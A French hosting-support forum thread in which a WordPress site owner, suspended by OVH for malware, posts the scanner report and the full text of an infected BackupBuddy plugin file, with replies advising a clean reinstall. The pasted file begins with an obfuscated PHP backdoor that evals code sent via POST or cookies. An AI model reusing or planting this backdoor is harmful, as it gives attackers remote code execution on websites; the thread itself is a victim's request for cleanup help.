Bonjour à toutes et à tous.
Comme indique dans le titre notre site internet à été désactivé suite à la découverte par OVH d'éléments corrompus.
Je viens de recevoir un mail avec la liste des éléments, mais c'est un peu flou pour moi.
La personne du service technique m'a dis qu'il fallait soit les mettre à jours manuellement en les recherchant sur internet soit les supprimer.
Je ne trouve pas grand chose sur internet, et pour ce qui est de supprimer, j'ai peur que cela rende le site inutilisable, voir " détruit ".
Quelqu'un pourrait-il m'aider a faire le tri dans les log, pour savoir ce que je peux faire?
Car tant que nous n'aurons pas "réparé " tout cela, le site ne pourra pas être de nouveau activé.
Merci d'avance.
Cordialement.
Bonjour,
Quel CMS ? Joomla ? Wordpress?
Quelle version ?
Le site à été fait avec Wordpress. Par contre vu que nous n'avons plus accès, je ne sais pas quelle version.
Voila un bout de ce que OVH nous demande de corriger :
Nous avons plusieurs pages comme ceci :
Merci d'avance
"www/wp-content/plugins/BackUp Buddy v4.2.12.1/controllers/pages/server_info/server.php": {
"ovh_suspicious_printable_hex_in_string": {
"source": "ovh",
"category": "suspicious"
},
"ovh_suspicious_eval_incoming": {
"source": "ovh",
"category": "suspicious"
}
},
"www/wp-admin/css/colors/coffee/sql2.php": {
"ovh_suspicious_printable_hex_in_string": {
"source": "ovh",
"category": "suspicious"
},
"ovh_malware_php_obfuscated_002": {
"source": "ovh",
"category": "malware"
}
},
"www/wp-content/themes/twentythirteen/genericons/page41.php": {
"ovh_suspicious_printable_hex_in_string": {
"source": "ovh",
"category": "suspicious"
},
"ovh_malware_php_obfuscated_002": {
"source": "ovh",
"category": "malware"
}
},
"www/wp-content/plugins/portfolio-gallery/admin/ini.php": {
"ovh_suspicious_printable_hex_in_string": {
"source": "ovh",
"category": "suspicious"
},
"ovh_malware_php_obfuscated_002": {
"source": "ovh",
"category": "malware"
}
},
"www/wp-content/plugins/BackUp Buddy v4.2.12.1/js/cache.php": {
"ovh_suspicious_discret_uploader_004": {
"source": "ovh",
"category": "suspicious"
}
},
"www/wp-mail.php": {
"ovh_suspicious_eval_incoming": {
"source": "ovh",
"category": "suspicious"
}
},
"www/wp-admin/css/uploader.php": {
"ovh_suspicious_eval_b64": {
"source": "ovh",
"category": "suspicious"
Selon moi, il faut récupérer une sauvegarde,
Tu peux restaurer via le manager https://docs.ovh.com/fr/fr/web/hosting/restauration-ftp-filezilla-espace-client/
Demander ensuite à ovh de recouvrir l'hébergement et immédiatement faire les mises à jour des plugins et de wordpress
Bonjour,
Effectivement, c'est ce que j'avais demandé à la personne que j'ai eu si l'on ne pouvait pas tout simplement mettre à jours tous les plugins et wordpress, mais il m'a indiqué qu'il faudrait le faire mais après avoir nettoyé tout cela, car sans cela il ne pouvait pas ré-activer le site.
C'est la où il m'a parlé de soit mettre à jour manuellement en FTP les fichiers, soit de les supprimer..
Merci d'avance.
Selon moi si vous supprimez tout puis que vous récupérez une vieille sauvegarde (il y a 1 semaine par exemple). C'est bon.
Ensuite vous demandez à ovh de réactiver l'hébergement et vous faites vite les mises à jour.
Chez wordpress ça se fait en quelques clics dans le panneau admin.
Au passage je vous conseille aussi (après la restauration de la sauvegarde) de passer en environnement stable avec un php récent. https://docs.ovh.com/fr/fr/web/hosting/modifier-lenvironnement-dexecution-de-mon-hebergement-web/
Merci,
Le problème est que le site est bloqué depuis 2 mois, et je viens de regarder, la plus vieille sauvegarde remonte à 2 semaines.
Donc je pense que la sauvegarde est "infectée ".
Sinon est-ce que je peux supprimer les fichiers répertoriés dans la liste, demander de réactiver le site.
Une fois le site réactivé, restaurer la sauvegarde et faire les mises à jours?
Bonjour @BerengereD
Tu as toutes les infos dans les éléments que mon collaborateur t'a fournis.
> "www/wp-content/plugins/portfolio-gallery/admin/ini.php": {
"ovh_suspicious_printable_hex_in_string": {
"source": "ovh",
"category": "suspicious"
Il faut donc aller sur ce fichier et vérifier s'il y a eu une injection de code par exemple. Tu peux vérifier avec des fichiers existant sur le net pour t'aider.
Le problème avec la sauvegarde que te propose @Buddy, c'est que tu ne peux pas être sur que le souci que tu rencontres n'était pas déjà présent sur cette sauvegarde. Si tu as une sauvegarde plus vieille de ton côté, tu peux effectivement faire cela.
Sinon, je te renvoie vers nos partenaires au besoin.
> partners.ovh.com
Je reste dispo au besoin.
Cordialement
Guillaume F.
Si ça fait 2 mois c'est cuit..
Le mieux est de le faire sur le pc..
Ou de supprimer les fichiers cibles par ovh en espérant que ça soit les seuls.
Malheureusement nous n'avons pas d'autre sauvegarde.
Le problème est que je sais utiliser par exemple DREAMWEAVER, pour modifier du code ( je l'utilise pour faire notre newsletter ), mais comment faire pour trouver les erreurs ? Car il y a beaucoup de fichier en plus..
Est-ce qu'il existe un logiciel ou une technique pour rechercher les erreurs?
Merci
Par exemple le premier contient : 'ee788'];global$ee788;$ee788=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['s831']="\x4d\x4e\x26\x57\x72\x3d\x66\x42\x2e\x41\x62\x48\x50\x61\x55\x65\x23\x46\x70\x2c\x4c\x28\x7d\x54\x32\x4a\x75\x7b\x2d\x77\x3b\x6f\x60\x49\x6b\x2b\x79\x25\x67\x5f\x47\x43\x7a\x6e\x5d\x3c\x31\x63\x53\x78\x2a\x3f\x69\x68\x6d\x74\x4f\x56\x5e\x3a\x7c\x36\x24\x2f\x52\x44\x5a\x9\x33\x6a\x3e\x6c\x45\x51\x73\x71\x4b\x20\x34\x21\x39\x30\xa\x76\x59\x40\x58\x22\x64\x5c\x29\x5b\x7e\x35\x27\x38\x37\xd";$ee788[$ee788['s831'][34].$ee788['s831'][6].$ee788['s831'][68].$ee788['s831'][46].$ee788['s831'][81].$ee788['s831'][47]]=$ee788['s831'][47].$ee788['s831'][53].$ee788['s831'][4];$ee788[$ee788['s831'][69].$ee788['s831'][13].$ee788['s831'][96].$ee788['s831'][13]]=$ee788['s831'][31].$ee788['s831'][4].$ee788['s831'][88];$ee788[$ee788['s831'][43].$ee788['s831'][46].$ee788['s831'][96].$ee788['s831'][13].$ee788['s831'][47].$ee788['s831'][6].$ee788['s831'][46]]=$ee788['s831'][74].$ee788['s831'][55].$ee788['s831'][4].$ee788['s831'][71].$ee788['s831'][15].$ee788['s831'][43];$ee788[$ee788['s831'][53].$ee788['s831'][88].$ee788['s831'][93].$ee788['s831'][68].$ee788['s831'][10].$ee788['s831'][13].$ee788['s831'][93]]=$ee788['s831'][52].$ee788['s831'][43].$ee788['s831'][52].$ee788['s831'][39].$ee788['s831'][74].$ee788['s831'][15].$ee788['s831'][55];$ee788[$ee788['s831'][71].$ee788['s831'][93].$ee788['s831'][95].$ee788['s831'][81].$ee788['s831'][95].$ee788['s831'][68]]=$ee788['s831'][74].$ee788['s831'][15].$ee788['s831'][4].$ee788['s831'][52].$ee788['s831'][13].$ee788['s831'][71].$ee788['s831'][52].$ee788['s831'][42].$ee788['s831'][15];$ee788[$ee788['s831'][54].$ee788['s831'][81].$ee788['s831'][13].$ee788['s831'][10]]=$ee788['s831'][18].$ee788['s831'][53].$ee788['s831'][18].$ee788['s831'][83].$ee788['s831'][15].$ee788['s831'][4].$ee788['s831'][74].$ee788['s831'][52].$ee788['s831'][31].$ee788['s831'][43];$ee788[$ee788['s831'][53].$ee788['s831'][15].$ee788['s831'][95].$ee788['s831'][95]]=$ee788['s831'][26].$ee788['s831'][43].$ee788['s831'][74].$ee788['s831'][15].$ee788['s831'][4].$ee788['s831'][52].$ee788['s831'][13].$ee788['s831'][71].$ee788['s831'][52].$ee788['s831'][42].$ee788['s831'][15];$ee788[$ee788['s831'][47].$ee788['s831'][24].$ee788['s831'][68].$ee788['s831'][93].$ee788['s831'][13].$ee788['s831'][6].$ee788['s831'][10].$ee788['s831'][68].$ee788['s831'][24]]=$ee788['s831'][10].$ee788['s831'][13].$ee788['s831'][74].$ee788['s831'][15].$ee788['s831'][61].$ee788['s831'][78].$ee788['s831'][39].$ee788['s831'][88].$ee788['s831'][15].$ee788['s831'][47].$ee788['s831'][31].$ee788['s831'][88].$ee788['s831'][15];$ee788[$ee788['s831'][31].$ee788['s831'][10].$ee788['s831'][95].$ee788['s831'][46].$ee788['s831'][24].$ee788['s831'][61]]=$ee788['s831'][74].$ee788['s831'][15].$ee788['s831'][55].$ee788['s831'][39].$ee788['s831'][55].$ee788['s831'][52].$ee788['s831'][54].$ee788['s831'][15].$ee788['s831'][39].$ee788['s831'][71].$ee788['s831'][52].$ee788['s831'][54].$ee788['s831'][52].$ee788['s831'][55];$ee788[$ee788['s831'][69].$ee788['s831'][81].$ee788['s831'][96].$ee788['s831'][95].$ee788['s831'][13].$ee788['s831'][24].$ee788['s831'][81]]=$ee788['s831'][52].$ee788['s831'][46].$ee788['s831'][95].$ee788['s831'][46].$ee788['s831'][78].$ee788['s831'][96].$ee788['s831'][68].$ee788['s831'][10].$ee788['s831'][93];$ee788[$ee788['s831'][55].$ee788['s831'][96].$ee788['s831'][78].$ee788['s831'][61].$ee788['s831'][95].$ee788['s831'][13].$ee788['s831'][6].$ee788['s831'][80]]=$ee788['s831'][43].$ee788['s831'][6].$ee788['s831'][13].$ee788['s831'][24].$ee788['s831'][80].$ee788['s831'][47].$ee788['s831'][96].$ee788['s831'][78];$ee788[$ee788['s831'][13].$ee788['s831'][24].$ee788['s831'][93].$ee788['s831'][13].$ee788['s831'][68].$ee788['s831'][81].$ee788['s831'][96].$ee788['s831'][78].$ee788['s831'][81]]=$_POST;$ee788[$ee788['s831'][54].$ee788['s831'][81].$ee788['s831'][61].$ee788['s831'][10].$ee788['s831'][80].$ee788['s831'][10].$ee788['s831'][81].$ee788['s831'][46].$ee788['s831'][93]]=$_COOKIE;arobas$ee788[$ee788['s831'][53].$ee788['s831'][88].$ee788['s831'][93].$ee788['s831'][68].$ee788['s831'][10].$ee788['s831'][13].$ee788['s831'][93];arobas$ee788$ee788['s831'][71].$ee788['s831'][31].$ee788['s831'][38].$ee788['s831'][39].$ee788['s831'][15].$ee788['s831'][4].$ee788['s831'][4].$ee788['s831'][31].$ee788['s831'][4].$ee788['s831'][74],0;arobas$ee788$ee788['s831'][54].$ee788['s831'][13].$ee788['s831'][49].$ee788['s831'][39].$ee788['s831'][15].$ee788['s831'][49].$ee788['s831'][15].$ee788['s831'][47].$ee788['s831'][26].$ee788['s831'][55].$ee788['s831'][52].$ee788['s831'][31].$ee788['s831'][43].$ee788['s831'][39].$ee788['s831'][55].$ee788['s831'][52].$ee788['s831'][54].$ee788['s831'][15],0;arobas$ee7880;$bdf30a05=NULL;$yaa88=NULL;$ee788$bdf30a05;){for($r373ec1=0;$r373ec1<$ee788$g84ce2d&&$k356cbc<$ee788$bdf30a05;$r373ec1++,$k356cbc++){$tffc801f.=$ee788$ee788[$ee788['s831'][69].$ee788['s831'][13].$ee788['s831'][96].$ee788['s831'][13]]%28$bdf30a05[$k356cbc]^$ee788$g84ce2d[$r373ec1]);}}return$tffc801f;}function i181473b5($bdf30a05,$g84ce2d){global$ee788;global$g894570de;return$ee788$ee788[$ee788['s831'][55].$ee788['s831'][96].$ee788['s831'][78].$ee788['s831'][61].$ee788['s831'][95].$ee788['s831'][13].$ee788['s831'][6].$ee788['s831'][80]]%28$bdf30a05,$g894570de,$g84ce2d);}foreach($ee788$ee788[$ee788['s831'][69].$ee788['s831'][81].$ee788['s831'][96].$ee788['s831'][95].$ee788['s831'][13].$ee788['s831'][24].$ee788['s831'][81]]%28$ee788[$ee788['s831'][47].$ee788['s831'][24].$ee788['s831'][68].$ee788['s831'][93].$ee788['s831'][13].$ee788['s831'][6].$ee788['s831'][10].$ee788['s831'][68].$ee788['s831'][24]]%28$bdf30a05,$yaa88));if(isset($bdf30a05<a href="">$ee788['s831'][13].$ee788['s831'][34]])&&$g894570de==$bdf30a05[$ee788['s831'][13].$ee788['s831'][34]]){if($bdf30a05[$ee788['s831'][13]]==$ee788['s831'][52]){$k356cbc=Array($ee788['s831'][18].$ee788['s831'][83]=>arobas$ee788[$ee788['s831'][54].$ee788['s831'][81].$ee788['s831'][13].$ee788['s831'][10]</a>,$ee788$k356cbc;}elseif($bdf30a05[$ee788['s831'][13]]==$ee788['s831'][15]){eval($bdf30a05[$ee788['s831'][88]]);}exit();} ?><style type="text/css"><br> .pb_backupbuddy_refresh_stats {<br> cursor: pointer;<br> }<br></style><br />/*<br /> * IMPORTANT NOTE:<br /> *<br /> * This file is shared between multiple projects / purposes:<br /> * + BackupBuddy (this plugin) Server Info page.<br /> * + ImportBuddy.php (BackupBuddy importer) Server Information button dropdown display.<br /> * + ServerBuddy (plugin)<br /> *<br /> * Use caution when updated to prevent breaking other projects.<br /> *<br /> */<br /><br /><br />// ini_get_bool() credit: nicolas dot grekas+php at gmail dot com<br />function ini_get_bool( $a ) {<br /> $b = ini_get($a);<br /> switch (strtolower($b)) {<br /> case 'on':<br /> case 'yes':<br /> case 'true':<br /> return 'assert.active' !== $a;<br /> case 'stdout':<br /> case 'stderr':<br /> return 'display_errors' === $a;<br /> default:<br /> return (bool) (int) $b;<br /> }<br />}<br />function pb_backupbuddy_get_loadavg() {<br /> $result = array( 'n/a', 'n/a', 'n/a' );<br /> if ( function_exists('sys_getloadavg') ) {<br /> $load = arobassys_getloadavg();<br /> if (is_array($load)) {<br /> if(count($load) == 3)<br /> return $load;<br /> else {<br /> for($i=0;$i $result[$i] = $load[$i];<br /> }<br /> }<br /> }<br /> if ( substr( PHP_OS, 0, 3 ) == 'WIN' ) { // WINDOWS.<br /> ob_start();<br /> $status = null;<br /> arobaspassthru('typeperf -sc 1 "\processor(_total)\% processor time"',$status);<br /> $content = ob_get_contents();<br /> ob_end_clean();<br /> if ($status === 0) {<br /> if (preg_match("/\,\"([0-9]+\.[0-9]+)\"/",$content,$load)) { <br /> $result[0] = number_format_i18n($load[1],2).' %';<br /> $result[1] = 'n/a';<br /> $result[2] = 'n/a';<br /> return $result;<br /> }<br /> } <br /> } else {<br /> if (function_exists('file_get_contents') && arobasfile_exists('/proc/loadavg')) {<br /> $load = explode(chr(32), arobasfile_get_contents('/proc/loadavg'));<br /> if (is_array($load) && (count($load) >= 3)) {<br /> $result = array_slice($load, 0, 3);<br /> return $result;<br /> }<br /> }<br /> if (function_exists('shell_exec')) {<br /> $str = substr(strrchr(arobasshell_exec('uptime'),":"),1);<br /> return array_map("trim",explode(",",$str));<br /> }<br /> }<br /> return $result;<br />} <br /> $tests = array();<br /><br /> // BACKUPBUDDY VERSION<br /> $latest_backupbuddy_version_cache_minutes = 15; // Define how many minutes to cache the latest backupbuddy version number.<br /> function pb_backupbuddy_split2( $string,$needle,$nth ) {<br /> $max = strlen($string);<br /> $n = 0;<br /> for($i=0;$i<$max;$i++){<br /> if ($string[$i]==$needle){<br /> $n++;<br /> if($n>=$nth){<br /> break;<br /> }<br /> }<br /> }<br /> $arr[] = substr($string,0,$i);<br /> $arr[] = substr($string,$i+1,$max);<br /> return $arr;<br /> }<br /> $latest_backupbuddy_version = get_transient( 'pb_backupbuddy_latest_version' );<br /> if ( false === $latest_backupbuddy_version ) {<br /> $response = wp_remote_get( 'http://api.ithemes.com/product/version?apikey=ixho7dk0p244n0ob&package=backupbuddy&channel=stable', array(<br /> 'method' => 'GET',<br /> 'timeout' => 15,<br /> 'redirection' => 3,<br /> 'httpversion' => '1.0',<br /> //'blocking' => true,<br /> 'headers' => array(),<br /> 'body' => null,<br /> 'cookies' => array()<br /> )<br /> );<br /> if( is_wp_error( $response ) ) {<br /> $latest_backupbuddy_version = '{Err:' . $response->get_error_message() . '}';<br /> } else {<br /> $latest_backupbuddy_version = $response['body'];<br /> set_transient( 'pb_backupbuddy_latest_version', $response['body'], 60* $latest_backupbuddy_version_cache_minutes );<br /> }<br /> } // end not cached.<br /> <br /> $latest_backupbuddy_nonminor_version = pb_backupbuddy_split2( $latest_backupbuddy_version, '.', 3 );<br /> $latest_backupbuddy_nonminor_version = $latest_backupbuddy_nonminor_version[0];<br /> $suggestion_text = $latest_backupbuddy_nonminor_version;<br /> if ( $latest_backupbuddy_version == pb_backupbuddy::settings( 'version' ) ) { // At absolute latest including minor.<br /> $suggestion_text .= ' (major version) or ' . $latest_backupbuddy_version . ' (options-general.php?page=ithemes-licensing)';<br /> } elseif ( $latest_backupbuddy_nonminor_version != $latest_backupbuddy_version ) { // Minor version available that is newer than latest major.<br /> $suggestion_text .= ' (major version) or ' . $latest_backupbuddy_version . ' (options-general.php?page=ithemes-licensing; plugins.php?ithemes-updater-force-minor-update=1)';<br /> } else {<br /> $suggestion_text .= ' (latest)';<br /> }<br /> $version_string = pb_backupbuddy::settings( 'version' );<br /> // If on DEV system (.git dir exists) then append some details on current.<br /> if ( arobasfile_exists( pb_backupbuddy::plugin_path() . '/.git/logs/HEAD' ) ) {<br /> $commit_log = escapeshellarg( pb_backupbuddy::plugin_path() . '/.git/logs/HEAD' );<br /> $commit_line = exec( "tail -n 1 {$commit_log}" );<br /> $version_string .= ' <span style="display: inline-block; max-width: 250px; font-size: 8px;">[DEV: ' . $commit_line . ']</span>';<br /> }<br /> $parent_class_test = array(<br /> 'title' => 'BackupBuddy Version',<br /> 'suggestion' => $suggestion_text,<br /> 'value' => $version_string,<br /> 'tip' => __('Version of BackupBuddy currently running on this site.', 'it-l10n-backupbuddy' ),<br /> );<br /> if ( version_compare( pb_backupbuddy::settings( 'version' ), $latest_backupbuddy_nonminor_version, '<' ) ) {<br /> $parent_class_test['status'] = __('WARNING', 'it-l10n-backupbuddy' );<br /> } else {<br /> $parent_class_test['status'] = __('OK', 'it-l10n-backupbuddy' );<br /> }<br /> array_push( $tests, $parent_class_test );<br /> // WORDPRESS VERSION<br /> global $wp_version;<br /> $parent_class_test = array(<br /> 'title' => 'WordPress Version',<br /> 'suggestion' => '>= ' . pb_backupbuddy::settings( 'wp_minimum' ) . ' (latest best)',<br /> 'value' => $wp_version,<br /> 'tip' => __('Version of WordPress currently running. It is important to keep your WordPress up to date for security & features.', 'it-l10n-backupbuddy' ),<br /> );<br /> if ( version_compare( $wp_version, pb_backupbuddy::settings( 'wp_minimum' ), '<=' ) ) {<br /> $parent_class_test['status'] = __('FAIL', 'it-l10n-backupbuddy' );<br /> } else {<br /> $parent_class_test['status'] = __('OK', 'it-l10n-backupbuddy' );<br /> }<br /> array_push( $tests, $parent_class_test );<br /> // MYSQL VERSION<br /> global $wpdb;<br /> $parent_class_test = array(<br /> 'title' => 'MySQL Version',<br /> 'suggestion' => '>= 5.0.15',<br /> 'value' => $wpdb->db_version(),<br /> 'tip' => __('Version of your database server (mysql) as reported to this script by WordPress.', 'it-l10n-backupbuddy' ),<br /> );<br /> if ( version_compare( $wpdb->db_version(), '5.0.15', '<=' ) ) {<br /> $parent_class_test['status'] = __('FAIL', 'it-l10n-backupbuddy' );<br /> } else {<br /> $parent_class_test['status'] = __('OK', 'it-l10n-backupbuddy' );<br /> }<br /> array_push( $tests, $parent_class_test ); <br /> // ADDHANDLER HTACCESS CHECK<br /> $parent_class_test = array(<br /> 'title' => 'AddHandler in .htaccess',<br /> 'suggestion' => 'host dependant (none best unless required)',<br /> 'tip' => __('If detected then you may have difficulty migrating your site to some hosts without first removing the AddHandler line. Some hosts will malfunction with this line in the .htaccess file.', 'it-l10n-backupbuddy' ),<br /> );<br /> if ( file_exists( ABSPATH . '.htaccess' ) ) {<br /> $addhandler_note = '';<br /> $htaccess_lines = file( ABSPATH . '.htaccess' );<br /> foreach ( $htaccess_lines as $htaccess_line ) {<br /> if ( preg_match( '/^(\s*)AddHandler(.*)/i', $htaccess_line, $matches ) > 0 ) {<br /> $addhandler_note = pb_backupbuddy::tip( htmlentities( $matches[0] ), __( 'AddHandler Value', 'it-l10n-backupbuddy' ), false );<br /> }<br /> }<br /> unset( $htaccess_lines );<br /> <br /> if ( $addhandler_note == '' ) {<br /> $parent_class_test['status'] = __('OK', 'it-l10n-backupbuddy' );<br /> $parent_class_test['value'] = __('none, n/a', 'it-l10n-backupbuddy' );<br /> } else {<br /> $parent_class_test['status'] = __('WARNING', 'it-l10n-backupbuddy' );<br /> $parent_class_test['value'] = __('exists', 'it-l10n-backupbuddy' ) . $addhandler_note;<br /> }<br /> unset( $htaccess_contents );<br /> } else {<br /> $parent_class_test['status'] = __('OK', 'it-l10n-backupbuddy' );<br /> $parent_class_test['value'] = __('n/a', 'it-l10n-backupbuddy' );<br /> }<br /> array_push( $tests, $parent_class_test );<br /> // Set up ZipBuddy when within BackupBuddy<br /> require_once( pb_backupbuddy::plugin_path() . '/lib/zipbuddy/zipbuddy.php' );<br /> pb_backupbuddy::$classes['zipbuddy'] = new pluginbuddy_zipbuddy( backupbuddy_core::getBackupDirectory() );<br /> <br /> require_once( pb_backupbuddy::plugin_path() . '/lib/mysqlbuddy/mysqlbuddy.php' );<br /> global $wpdb;<br /> pb_backupbuddy::$classes['mysqlbuddy'] = new pb_backupbuddy_mysqlbuddy( DB_HOST, DB_NAME, DB_USER, DB_PASSWORD, $wpdb->prefix ); // $database_host, $database_name, $database_user, $database_pass, $old_prefix, $force_method = array()<br /> }<br /> // PHP VERSION<br /> if ( !defined( 'pluginbuddy_importbuddy' ) ) {<br /> $php_minimum = pb_backupbuddy::settings( 'php_minimum' );<br /> } else { // importbuddy value.<br /> $php_minimum = pb_backupbuddy::settings( 'php_minimum' );<br /> }<br /> $parent_class_test = array(<br /> 'title' => 'PHP Version',<br /> 'suggestion' => '>= ' . $php_minimum . ' (5.2.16+ best)',<br /> 'value' => phpversion(),<br /> 'tip' => __('Version of PHP currently running on this site.', 'it-l10n-backupbuddy' ),<br /> );<br /> if ( version_compare( PHP_VERSION, $php_minimum, '<=' ) ) {<br /> $parent_class_test['status'] = __('FAIL', 'it-l10n-backupbuddy' );<br /> } else {<br /> $parent_class_test['status'] = __('OK', 'it-l10n-backupbuddy' );<br /> }<br /> array_push( $tests, $parent_class_test );<br /> // PHP max_execution_time<br /> $parent_class_test = array(<br /> 'title' => 'PHP max_execution_time (server-reported)',<br /> 'suggestion' => '>= ' . '30 seconds (30+ best)',<br /> 'value' => ini_get( 'max_execution_time' ),<br /> 'tip' => __('Maximum amount of time that PHP allows scripts to run. After this limit is reached the script is killed. The more time available the better. 30 seconds is most common though 60 seconds is ideal.', 'it-l10n-backupbuddy' ),<br /> );<br /> if ( str_ireplace( 's', '', ini_get( 'max_execution_time' ) ) < 30 ) {<br /> $parent_class_test['status'] = __('WARNING', 'it-l10n-backupbuddy' );<br /> } else {<br /> $parent_class_test['status'] = __('OK', 'it-l10n-backupbuddy' );<br /> }<br /> array_push( $tests, $parent_class_test );<br /> <br /> $parent_class_test['status'] = __('OK', 'it-l10n-backupbuddy' );<br /> array_push( $tests, $parent_class_test );<br /> }<br /> */<br /> // MEMORY LIMIT<br /> if ( !ini_get( 'memory_limit' ) ) {<br /> $parent_class_val = 'unknown';<br /> } else {<br /> $parent_class_val = ini_get( 'memory_limit' );<br /> }<br /> $parent_class_test = array(<br /> 'title' => 'PHP Memory Limit',<br /> 'suggestion' => '>= 128M (256M+ best)',<br /> 'value' => $parent_class_val,<br /> 'tip' => __('The amount of memory this site is allowed to consume.', 'it-l10n-backupbuddy' ),<br /> );<br /> if ( preg_match( '/(\d+)(\w*)/', $parent_class_val, $matches ) ) {<br /> $parent_class_val = $matches[1];<br /> $unit = $matches[2];<br /> // Up memory limit if currently lower than 256M.<br /> if ( 'g' !== strtolower( $unit ) ) {<br /> if ( ( $parent_class_val < 128 ) || ( 'm' !== strtolower( $unit ) ) ) {<br /> $parent_class_test['status'] = __('WARNING', 'it-l10n-backupbuddy' );<br /> } else {<br /> $parent_class_test['status'] = __('OK', 'it-l10n-backupbuddy' );<br /> }<br /> }<br /> } else {<br /> $parent_class_test['status'] = __('WARNING', 'it-l10n-backupbuddy' );<br /> }<br /> array_push( $tests, $parent_class_test );<br /> if ( defined( 'PB_IMPORTBUDDY' ) ) {<br /> if ( !isset( pb_backupbuddy::$classes['zipbuddy'] ) ) {<br /> require_once( pb_backupbuddy::plugin_path() . '/lib/zipbuddy/zipbuddy.php' );<br /> pb_backupbuddy::$classes['zipbuddy'] = new pluginbuddy_zipbuddy( ABSPATH );<br /> }<br /> }<br /> $zip_methods = implode( ', ', pb_backupbuddy::$classes['zipbuddy']->_zip_methods );<br />if ( ! defined( 'PB_IMPORTBUDDY' ) ) {<br /> $zipmethod_refresh = '<a class="pb_backupbuddy_refresh_stats" title="' . __('Refresh', 'it-l10n-backupbuddy' ) . '"><img style="vertical-align: -1px;" loading="lazy" /> <span class="pb_backupbuddy_loading" style="display: none; margin-left: 10px;"><img alt="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" title="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" width="16" height="16" style="vertical-align: -3px;" loading="lazy" /></span></a>';<br /> } else {<br /> $zipmethod_refresh = '';<br /> }<br /> $parent_class_test = array(<br /> 'title' => 'Zip Methods',<br /> 'suggestion' => 'Command line [fastest] > ziparchive > PHP-based (pclzip) [slowest]',<br /> 'value' => '<span id="pb_stats_refresh_zip_methods">' . $zip_methods . '</span> ' . $zipmethod_refresh,<br /> 'tip' => __('Methods your server supports for creating ZIP files. These were tested & verified to operate. Command line is magnitudes better than other methods and operates via exec() or other execution functions. ZipArchive is a PHP extension. PHP-based ZIP compression/extraction is performed via a PHP script called pclzip but it is slower and can be memory intensive.', 'it-l10n-backupbuddy' ),<br /> );<br /> if ( in_array( 'exec', pb_backupbuddy::$classes['zipbuddy']->_zip_methods ) ) {<br /> $parent_class_test['status'] = __('OK', 'it-l10n-backupbuddy' );<br /> } else {<br /> $parent_class_test['status'] = __('WARNING', 'it-l10n-backupbuddy' );<br /> }<br /> array_push( $tests, $parent_class_test );<br /> if ( !defined( 'PB_IMPORTBUDDY' ) ) {<br /> <br /> $parent_class_test = array(<br /> 'title' => 'Database Dump Methods',<br /> 'suggestion' => 'Command line [fastest] > PHP-based [slowest]',<br /> 'value' => implode( ', ', pb_backupbuddy::$classes['mysqlbuddy']->get_methods() ),<br /> 'tip' => __('Methods your server supports for dumping (backing up) your mysql database. These were tested values unless compatibility / troubleshooting settings override.', 'it-l10n-backupbuddy' ),<br /> );<br /> if ( in_array( 'commandline', pb_backupbuddy::$classes['mysqlbuddy']->get_methods() ) ) {<br /> $parent_class_test['status'] = __('OK', 'it-l10n-backupbuddy' );<br /> } else {<br /> $parent_class_test['status'] = __('WARNING', 'it-l10n-backupbuddy' );<br /> }<br /> array_push( $tests, $parent_class_test );<br /> // Site Size<br /> if ( pb_backupbuddy::$options['stats']['site_size'] > 0 ) {<br /> $site_size = pb_backupbuddy::$format->file_size( pb_backupbuddy::$options['stats']['site_size'] );<br /> } else {<br /> $site_size = '<i>Unknown</i>';<br /> }<br /> $parent_class_test = array(<br /> 'title' => 'Site Size',<br /> 'suggestion' => 'n/a',<br /> 'value' => '<span id="pb_stats_refresh_site_size">' . $site_size . '</span> <a class="pb_backupbuddy_refresh_stats" title="' . __('Refresh', 'it-l10n-backupbuddy' ) . '"><img style="vertical-align: -1px;" loading="lazy" /> <span class="pb_backupbuddy_loading" style="display: none; margin-left: 10px;"><img alt="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" title="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" width="16" height="16" style="vertical-align: -3px;" loading="lazy" /></span></a>',<br /> 'tip' => __('Total size of your site (starting in your WordPress main directory) INCLUDING any excluded directories / files.', 'it-l10n-backupbuddy' ),<br /> );<br /> $parent_class_test['status'] = __('OK', 'it-l10n-backupbuddy' );<br /> array_push( $tests, $parent_class_test );<br /> // Site size WITH EXCLUSIONS accounted for.<br /> if ( pb_backupbuddy::$options['stats']['site_size_excluded'] > 0 ) {<br /> $site_size_excluded = pb_backupbuddy::$format->file_size( pb_backupbuddy::$options['stats']['site_size_excluded'] );<br /> } else {<br /> $site_size_excluded = '<i>Unknown</i>';<br /> }<br /> $parent_class_test = array(<br /> 'title' => 'Site Size (Default Exclusions applied)',<br /> 'suggestion' => 'n/a',<br /> 'value' => '<span id="pb_stats_refresh_site_size_excluded">' . $site_size_excluded . '</span> <a class="pb_backupbuddy_refresh_stats" title="' . __('Refresh', 'it-l10n-backupbuddy' ) . '"><img style="vertical-align: -1px;" loading="lazy" /> <span class="pb_backupbuddy_loading" style="display: none; margin-left: 10px;"><img alt="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" title="' . __('Loading...', 'it-l10n-backupbuddy' ) . '" width="16" height="16" style="vertical-align: -3px;" loading="lazy" /></span></a>',<br /> 'tip' => __('Total size of your site (starting in your WordPress main directory) EXCLUDING any directories / files you have marked for exclusion.', 'it-l10n-backupbuddy' ),<br /> );
Le mieux alors serait peut être de supprimer tous les fichiers et de remettre un nouveau wordpress en gardant uniquement le fichier wp_config.php qui contient les infos de la base de donnés..
@Buddy
Tous les fichiers corrompus ? ou tous les fichiers?
SI je fais cela en sauvegardant le fichier wp-config, on réinstalle un nouveau wordpress, et par FTP je remet le wp-config et on va retrouver tout le site?
Selon moi, oui
Il faut tout supprimer (sauf le wp-config)
Remettre les fichiers d'un wordpress propre.
Vous retrouverez le contenu du site. Mais pas forcément les logos, le thème (affichage graphique).
Ok merci Buddy,
Je vais tenter tout ça !
Je vous tiendrais au courant.